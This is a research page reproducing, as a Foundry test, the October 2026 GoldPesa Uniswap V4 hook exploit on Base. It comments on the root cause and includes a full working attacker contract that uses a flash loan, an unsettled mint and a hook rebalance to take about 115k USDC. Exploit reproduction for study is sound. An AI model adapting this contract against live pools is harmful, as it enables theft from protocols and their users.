Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/GoldPesa_exp.sol

Public reproduction file for dataset entry GoldPesa.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/GoldPesa_exp.sol287 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.30;
3
4import "forge-std/Test.sol";
5
6// GoldPesa (GPX) - Uniswap V4 hook shared-unlock settlement exploit - Base, 2026-10-02.
7//
8// Run: forge test --contracts src/test/2026-10/GoldPesa_exp.sol --evm-version cancun -vvv
9// (V4 needs EIP-1153 transient storage; the repo default is evm_version=shanghai, so the cancun flag is
10// required - it overrides foundry.toml for this run.)
11//
12// Loss: 114,999.999186 USDC pulled out of the V4 PoolManager in a single atomic tx.
13//
14// On-chain references (Base):
15// attack tx : 0x5c1febd5047c2a15c37988b6abd5c8b984236dddf6fd24eed96b0f43951ad2c9
16// block : 52078502 (fork at parent 52078501)
17// attacker EOA : 0x4a5FD2e9357cC87DF4cD6A1808174DBc8646899F
18// attacker contract : 0x3d69591a3868FE77B531187486862c459Cce4e86
19//
20// Actors / contracts:
21// GPXHooks (vulnerable) : 0x4519e2b040ff1B64fa03aBe2AeF0BC99D7CcEaA8 (verified source)
22// GPX token (currency0) : 0x454F8c3f1FC79a98363DB6104A20AC59A02A3133
23// USDC (currency1) : 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913
24// WETH : 0x4200000000000000000000000000000000000006
25// V4 PoolManager : 0x498581fF718922c3f8e6A244956aF099B2652b2b
26// V4 PositionManager : 0x7C5f5A4bBd8fD63184577525326123B519429bDc
27// Morpho Blue (flash loan) : 0xBBBBBbbBBb9cC5e90e3b3Af64bDAF62C37EEFFCb
28//
29// GPX/USDC pool = {currency0: GPX, currency1: USDC, fee: 0, tickSpacing: 1, hooks: GPXHooks}
30// poolId 0xe33d2ac4d30348f62723c6a065c34a071970a2cf3776679fc90b07b9a990dcac
31// WETH/USDC pool = {currency0: WETH, currency1: USDC, fee: 500, tickSpacing: 10, hooks: 0}
32// poolId 0x90333bb05c258fe0dddb2840ef66f1a05165aa7dac6815d24e807cc6ebd943a0
33// (both pool keys reconstructed and confirmed by hashing PoolKey -> poolId against the tx logs.)
34//
35// ROOT CAUSE (verified against the deployed verified source, contract "GPXHooks"):
36// GPXHooks owns the GPX/USDC protocol liquidity and rebalances it from inside beforeSwap(). Any swap on
37// the GPX pool triggers the rebalance once an hour has elapsed:
38//
39// function beforeSwap(...) external override onlyPoolManager ... {
40// checkForDonations();
41// if (block.timestamp - lastRebalance >= 1 hours) { // permissionless, any swap
42// reBalanceRoutine();
43// }
44// ...
45// }
46//
47// reBalance() burns the old protocol position and pulls the freed tokens back to the hook with
48// PositionManager.modifyLiquiditiesWithoutUnlock(BURN_POSITION + TAKE_PAIR):
49//
50// bytes memory burnActions = abi.encodePacked(uint8(Actions.BURN_POSITION), uint8(Actions.TAKE_PAIR));
51// ...
52// positionManager.modifyLiquiditiesWithoutUnlock(burnActions, burnParams); // TAKE_PAIR -> address(this)
53//
54// The flaw: modifyLiquiditiesWithoutUnlock does NOT open its own unlock - it runs inside whatever
55// PoolManager unlock is already open. TAKE_PAIR can only withdraw the PositionManager's NET POSITIVE
56// currency delta across that entire shared unlock. The hook never verifies the PositionManager's GPX/USDC
57// deltas are zero (fully settled) before the burn, so its burn credit is not isolated from any other
58// PositionManager delta sitting open in the same unlock.
59//
60// THE ATTACK (single unlock the attacker opens themselves, all figures from the tx logs):
61// 1. Morpho flash loan of 175,000 USDC for working capital (log: FlashLoan, 0x28bed01600 = 175000e6).
62// 2. PositionManager MINT_POSITION into WETH/USDC at ticks [-210000, -209990], liquidity
63// 8346512432733306153, WITHOUT a SETTLE. The range sits entirely below spot so the position is pure
64// currency1 -> it leaves the shared PositionManager with a -114,999.999186 USDC delta (a phantom debt,
65// no WETH involved - the tx moves zero WETH).
66// 3. Two GPX-pool buys (5,500 USDC each) push the pool tick up; the second buy's beforeSwap satisfies
67// checkRebalance and fires the hourly rebalance inside the SAME unlock.
68// 4. The hook's BURN_POSITION frees the protocol liquidity, crediting the PositionManager +148,868.602188
69// USDC. But TAKE_PAIR withdraws only the PositionManager's net positive USDC delta:
70// 148,868.602188 - 114,999.999186 = 33,868.603002 USDC (log L21: PoolManager -> hook)
71// The attacker's unpaid mint debt was silently cancelled by the hook's own burn credit.
72// 5. The attacker then BURN_POSITIONs their own WETH/USDC position (+114,999.999186 USDC credit to the
73// PositionManager) and TAKE_PAIRs it to themselves: 114,999.999186 USDC straight out of the
74// PoolManager (log L43: PoolManager -> attacker). Their debt had just been paid off by the rebalance.
75// 6. A third GPX-pool swap unwinds the GPX bought in steps 3, then the flash loan is repaid.
76//
77// This is fully permissionless: the hourly rebalance is reachable by any ordinary swap, and the
78// debt-creation step uses PositionManager/PoolManager's normal permissionless unlock + mint mechanics.
79// No privileged/admin path is involved anywhere in the chain.
80//
81// VERIFIED FIGURES (reproduced live below, asserted against the exact on-chain microunit figure):
82// hook received from TAKE_PAIR : 33,868.603002 USDC
83// attacker pulled from PoolMgr : 114,999.999186 USDC <-- the stolen amount asserted here
84// 148,868.602188 = 33,868.603002 + 114,999.999186 (hook burn credit split by the shared-delta bug)
86interface IERC20 {
87 function balanceOf(address) external view returns (uint256);
88 function approve(address, uint256) external returns (bool);
89 function transfer(address, uint256) external returns (bool);
92// ---- Uniswap V4 (minimal). Currency is an address; BalanceDelta is a packed int256 (amount0 high, amount1 low).
93struct PoolKey {
94 address currency0;
95 address currency1;
96 uint24 fee;
97 int24 tickSpacing;
98 address hooks;
101struct SwapParams {
102 bool zeroForOne;
103 int256 amountSpecified;
104 uint160 sqrtPriceLimitX96;
107interface IPoolManager {
108 function unlock(bytes calldata data) external returns (bytes memory);
109 function swap(PoolKey calldata key, SwapParams calldata params, bytes calldata hookData)
110 external
111 returns (int256 delta);
112 function sync(address currency) external;
113 function settle() external payable returns (uint256);
114 function take(address currency, address to, uint256 amount) external;
117interface IPositionManager {
118 function modifyLiquiditiesWithoutUnlock(bytes calldata actions, bytes[] calldata params) external payable;
119 function nextTokenId() external view returns (uint256);
122interface IMorpho {
123 function flashLoan(address token, uint256 assets, bytes calldata data) external;
126/// @notice Reconstruction of the on-chain attack contract 0x3d69591a...4e86.
127contract GoldPesaExploiter {
128 IPoolManager constant PM = IPoolManager(0x498581fF718922c3f8e6A244956aF099B2652b2b);
129 IPositionManager constant POSM = IPositionManager(0x7C5f5A4bBd8fD63184577525326123B519429bDc);
130 IMorpho constant MORPHO = IMorpho(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
132 address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
133 address constant WETH = 0x4200000000000000000000000000000000000006;
134 address constant GPX = 0x454F8c3f1FC79a98363DB6104A20AC59A02A3133;
135 address constant HOOK = 0x4519e2b040ff1B64fa03aBe2AeF0BC99D7CcEaA8;
137 // Uniswap V4 Action ids (from v4-periphery Actions.sol)
138 uint8 constant MINT_POSITION = 0x02;
139 uint8 constant BURN_POSITION = 0x03;
140 uint8 constant TAKE_PAIR = 0x11;
142 uint160 constant MIN_SQRT_PRICE = 4295128739;
143 uint160 constant MAX_SQRT_PRICE = 1461446703485210103287273052203988822378723970342;
145 // exact on-chain values
146 uint256 constant LOAN = 175_000e6; // Morpho flash loan
147 uint256 constant PUMP = 5_500e6; // each GPX-pool buy
148 int24 constant OWN_TICK_LOWER = -210000;
149 int24 constant OWN_TICK_UPPER = -209990;
150 uint256 constant OWN_LIQUIDITY = 8346512432733306153;
152 PoolKey gpxKey = PoolKey({currency0: GPX, currency1: USDC, fee: 0, tickSpacing: 1, hooks: HOOK});
153 PoolKey wethKey = PoolKey({currency0: WETH, currency1: USDC, fee: 500, tickSpacing: 10, hooks: address(0)});
155 uint256 public ownTokenId;
156 uint256 public stolenUSDC; // USDC pulled out via the attacker's own-position burn (step 5)
158 function attack() external {
159 MORPHO.flashLoan(USDC, LOAN, "");
160 }
162 /// @dev Morpho Blue flash-loan callback. Runs the whole exploit inside one PoolManager unlock, then
163 /// approves Morpho to pull the principal back (zero fee on Morpho Blue).
164 function onMorphoFlashLoan(uint256 assets, bytes calldata) external {
165 require(msg.sender == address(MORPHO), "only morpho");
166 PM.unlock("");
167 IERC20(USDC).approve(address(MORPHO), assets);
168 }
170 function unlockCallback(bytes calldata) external returns (bytes memory) {
171 require(msg.sender == address(PM), "only pm");
173 // Step 1: mint a pure-USDC WETH/USDC position WITHOUT settling -> leaves PositionManager a
174 // -114,999.999186 USDC phantom debt in this shared unlock.
175 _mintOwnUnsettled();
176 ownTokenId = POSM.nextTokenId() - 1;
178 // Step 2: first GPX-pool buy pushes the tick up (does not yet satisfy checkRebalance).
179 _swap(gpxKey, false, PUMP); // USDC -> GPX (one-for-zero)
181 // Step 3: second GPX-pool buy. Its beforeSwap fires the hourly rebalance inside this unlock; the
182 // hook's BURN credit silently pays off the phantom debt and TAKE_PAIR only nets 33,868.6 USDC.
183 _swap(gpxKey, false, PUMP);
185 // Step 4: burn our own position and TAKE_PAIR it to ourselves. The debt is already paid, so this
186 // pulls the full 114,999.999186 USDC straight out of the PoolManager.
187 uint256 beforeBurn = IERC20(USDC).balanceOf(address(this));
188 _burnOwnAndTake();
189 stolenUSDC = IERC20(USDC).balanceOf(address(this)) - beforeBurn;
191 // Step 5: unwind the GPX bought in steps 2-3 back to USDC so balances close cleanly.
192 uint256 gpxBal = IERC20(GPX).balanceOf(address(this));
193 if (gpxBal > 0) _swap(gpxKey, true, gpxBal); // GPX -> USDC (zero-for-one), exact input
195 return "";
196 }
198 function _mintOwnUnsettled() internal {
199 // Only MINT_POSITION, deliberately no SETTLE_PAIR: the delta is left open on the PositionManager.
200 bytes memory actions = abi.encodePacked(MINT_POSITION);
201 bytes[] memory params = new bytes[](1);
202 params[0] = abi.encode(
203 wethKey,
204 OWN_TICK_LOWER,
205 OWN_TICK_UPPER,
206 OWN_LIQUIDITY,
207 type(uint128).max, // amount0Max
208 type(uint128).max, // amount1Max
209 address(this), // owner
210 bytes("")
211 );
212 POSM.modifyLiquiditiesWithoutUnlock(actions, params);
213 }
215 function _burnOwnAndTake() internal {
216 bytes memory actions = abi.encodePacked(BURN_POSITION, TAKE_PAIR);
217 bytes[] memory params = new bytes[](2);
218 params[0] = abi.encode(ownTokenId, uint128(0), uint128(0), bytes("")); // tokenId, amount0Min, amount1Min
219 params[1] = abi.encode(WETH, USDC, address(this)); // currency0, currency1, recipient
220 POSM.modifyLiquiditiesWithoutUnlock(actions, params);
221 }
223 /// @dev One exact-input swap on `key`, settling whatever we owe and taking whatever we are owed.
224 function _swap(PoolKey memory key, bool zeroForOne, uint256 amountIn) internal {
225 int256 d = PM.swap(
226 key,
227 SwapParams({
228 zeroForOne: zeroForOne,
229 amountSpecified: -int256(amountIn), // negative = exact input
230 sqrtPriceLimitX96: zeroForOne ? MIN_SQRT_PRICE + 1 : MAX_SQRT_PRICE - 1
231 }),
232 ""
233 );
234 int128 a0 = int128(d >> 128);
235 int128 a1 = int128(d);
236 _resolve(key.currency0, a0);
237 _resolve(key.currency1, a1);
238 }
240 function _resolve(address currency, int128 amount) internal {
241 if (amount < 0) {
242 // we owe the pool
243 PM.sync(currency);
244 IERC20(currency).transfer(address(PM), uint256(uint128(-amount)));
245 PM.settle();
246 } else if (amount > 0) {
247 // the pool owes us
248 PM.take(currency, address(this), uint256(uint128(amount)));
249 }
250 }
252 receive() external payable {}
255contract GoldPesa_exp is Test {
256 address constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
258 // Exact on-chain figure: 114,999.999186 USDC pulled out of the PoolManager by the attacker.
259 uint256 constant ON_CHAIN_STOLEN = 114_999_999186;
261 GoldPesaExploiter exploiter;
263 function setUp() public {
264 // Fork at the PARENT of the attack block; the full sequence is reconstructed live.
265 vm.createSelectFork("base", 52078501);
266 // Faithfulness: match the attack block timestamp (does not affect V4 price math).
267 vm.warp(1790946351);
268 exploiter = new GoldPesaExploiter();
269 }
271 function testExploit() public {
272 emit log_string("GoldPesa GPX - Uniswap V4 hook shared-unlock settlement exploit");
274 exploiter.attack();
276 uint256 stolen = exploiter.stolenUSDC();
277 emit log_named_decimal_uint("USDC pulled out via own-position burn", stolen, 6);
279 uint256 netProfit = IERC20(USDC).balanceOf(address(exploiter));
280 emit log_named_decimal_uint("Net USDC profit after flash-loan repay", netProfit, 6);
282 // The stolen amount is the WETH/USDC position's value, minted and burned at the same (unmoved) price,
283 // so it reproduces the on-chain microunit figure exactly. Tight tolerance (0.01%).
284 assertApproxEqRel(stolen, ON_CHAIN_STOLEN, 1e14, "stolen USDC must match on-chain 114,999.999186");
285 assertGt(netProfit, 100_000e6, "attacker must walk away with a six-figure USDC profit");
286 }

Analysis

Dataset entry

Public Foundry test for “GoldPesa” (2026-10-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • attacker

    0x4a5fd2e9357cc87df4cd6a1808174dbc8646899f

  • attacker

    0x3d69591a3868fe77b531187486862c459cce4e86

  • Attack Tx

    0x5c1febd5047c2a15c37988b6abd5c8b984236dddf6fd24eed96b0f43951ad2c9

File record

Name
GoldPesa
Path
src/test/2026-10/GoldPesa_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
94001c122da2827cfbf9268a92a28bf15952a954
Language
Solidity
Size
288 lines
Date
2026-10-02
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/GoldPesa_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 94001c122da2827cfbf9268a92a28bf15952a954, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.